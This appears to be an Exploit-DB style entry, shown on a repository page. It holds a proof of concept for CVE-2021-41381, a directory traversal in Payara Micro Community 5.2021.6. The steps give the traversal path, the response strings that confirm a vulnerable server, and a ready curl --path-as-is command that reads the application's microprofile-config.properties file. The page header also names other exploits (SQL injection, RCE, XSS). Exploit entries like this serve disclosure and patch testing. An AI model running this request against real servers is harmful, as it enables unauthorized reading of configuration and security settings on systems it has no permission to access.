7cf828b365
5 changes to exploits/shellcodes Payara Micro Community 5.2021.6 - Directory Traversal Lodging Reservation Management System 1.0 - SQL Injection / Authentication Bypass Open Game Panel - Remote Code Execution (RCE) (Authenticated) Young Entrepreneur E-Negosyo System 1.0 - SQL Injection Authentication Bypass Young Entrepreneur E-Negosyo System 1.0 - 'PRODESC' Stored Cross-Site Scripting (XSS)
35 lines
No EOL
1.3 KiB
Text
35 lines
No EOL
1.3 KiB
Text
# Exploit Title: Payara Micro Community 5.2021.6 - Directory Traversal
|
|
# Date: 01/10/2021
|
|
# Exploit Author: Yasser Khan (N3T_hunt3r)
|
|
# Vendor Homepage: https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
|
|
# Software Link: https://www.payara.fish/downloads/payara-platform-community-edition/#x
|
|
# Version: Payara Micro Community 5.2021.6
|
|
# Tested on: Linux/Windows OS
|
|
# CVE : CVE-2021-41381
|
|
|
|
https://nvd.nist.gov/vuln/detail/CVE-2021-41381
|
|
|
|
Proof of Concept:
|
|
|
|
Step1: Open the browser check the version of the payara software
|
|
|
|
Step2: Add this Path at end of the URL
|
|
/.//WEB-INF/classes/META-INF/microprofile-config.properties
|
|
|
|
Step3: Check the response with match containing
|
|
"payara.security.openid.default.providerURI="
|
|
|
|
"payara.security.openid.sessionScopedConfiguration=true"
|
|
|
|
Step4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability.
|
|
|
|
Step5: Alternatively we can use CURL by using this command:
|
|
|
|
Request:
|
|
curl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties
|
|
|
|
Reference:
|
|
|
|
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt
|
|
https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
|
|
https://nvd.nist.gov/vuln/detail/CVE-2021-41381 |